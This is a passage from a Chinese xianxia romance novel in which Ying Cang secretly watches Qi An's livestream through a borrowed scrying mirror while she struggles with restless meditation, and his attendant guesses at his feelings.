“金丹期?”
凌渊大吃一惊,遁迹符是上古神符,普通修士根本无法接触到,怎么会在一个金丹期的宗主手里。
“少主,你的意思是...”
“我之前一直怀疑,他是不是苍龙族的人...”应苍无奈笑笑,“毕竟只有苍龙族会隐匿术。”
凌渊道:“你是说那人可能隐藏了修为?”
应苍点头:“那人一直在暗中帮我,可能已经知晓了我的身份。”
“不是只有苍龙族会隐匿术的,”凌渊突然说道,“其实隐匿术,是云壑宗的秘术。”
“你是说娘的宗门?可那不是早就消失了吗?”
凌渊在应苍身旁坐下,点头应道:“确实在夫人嫁进来前,云壑宗就解散了。”
应苍想了想,觉得那遁迹符可能真是清虚无意中得来的,没再费神细想。
他用未受伤的手拍了拍凌渊的的肩膀:“把玄光鉴给我一下。”
凌渊虽然疑惑,但还是听话地掏了出来:“少主你的玄光鉴丢了吗?”<
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“没有。”
“那用我的干什么?”
“有事。”
应苍轻车熟路地打开直播入口,输入【十亿少男的梦】,没想到最右侧竟然显示【已关注】。
他眉间轻蹙:“你什么时候关注了她?”
“很早就关注了。”凌渊瞄了一眼,“那会儿我刚收到你的消息,整天拿着玄光鉴看,突然就给我弹了这个什么直播间,这女娃娃在吃面,我看着有趣,就关注了。”
应苍:......
正在此刻,玄光鉴提示祈安开始直播了,应苍立马点进去。
画面中竟是祈安的房间。她似乎刚练完剑回来,额角带着细汗,脸颊微红,正坐在桌边倒水喝。
祈安没有看直播镜,她只忙着自己的事情。
应苍连呼吸都下意识放轻了,他怕打扰了她。
凌渊在一旁看着自家少主瞬间变了的神色,以及那脸上不自觉流露出的微弱笑意,一个念头立马浮上来。
“少主,”凌渊问道,“你过了情期了?”
应苍没有挪开黏在玄光鉴上的视线:“你怎么知道?”
“你这表现的太明显了,一看就是生了情根。”
应苍这次没有再理会凌渊,他专注地看着祈安。
祈安喝完水,却没有像往常一样立刻打坐或研读功法,而是有些出神地坐着,指尖无意识地摩挲着茶杯边缘。
她的目光没有焦点,显得有些心事重重。
应苍看着她这副样子,心也跟着缩紧。
自己离开了,她不应该高兴吗?怎么还是这般忧愁的样子。
祈安今日明显得感觉出自己状态有些不对。在练剑时总是心不在焉,还不小心将易为春划伤了。
她没再强迫自己,和易为春说了声有些累,就回落霞宫内休息了。
可即便坐在桌前,却无法集中精力。一旁的凝碧鼎还在吐着白雾,她伸出指尖,轻轻碰了下,冰凉的玉质触感让她略微回神。
不许胡思乱想了。
祈安在心底警告自己,几次深呼吸,像是要将那些纷乱的思绪都叹出去一般,然后才开始每日例行的打坐调息。
但不管怎么努力,那些杂念就像缠绕不休的水草,总是在她即将入定时悄然浮现。
应苍冰冷偏执的眼神、他低哑的质问、他留下的凝碧鼎、还有他突然的离去......画面纷乱交错,扰得她心烦意乱。
几次尝试都无法进入状态,祈安有些泄气地睁开眼。
算了,今天就这样吧。
祈安刚准备关了直播,顺便看了一眼弹幕区。
【渊:修炼不顺利吗?】
祈安随口说道:“嗯,可能今天状态一般吧。”
【渊:注意休息。】
【渊:可以试试灵力走手少阳经,或许能顺些。】
祈安:“好,我等下试试。谢谢关心,先下了。”
刚说完,祈安就关了直播。
应苍手里的玄光鉴变得漆黑一片,那本倒映在他眼里的一丝光亮也随之消失了。
他沉默着,将玄光鉴还给了凌渊。
凌渊没有去接,他一脸正色问道:“少主,你喜欢她吧。”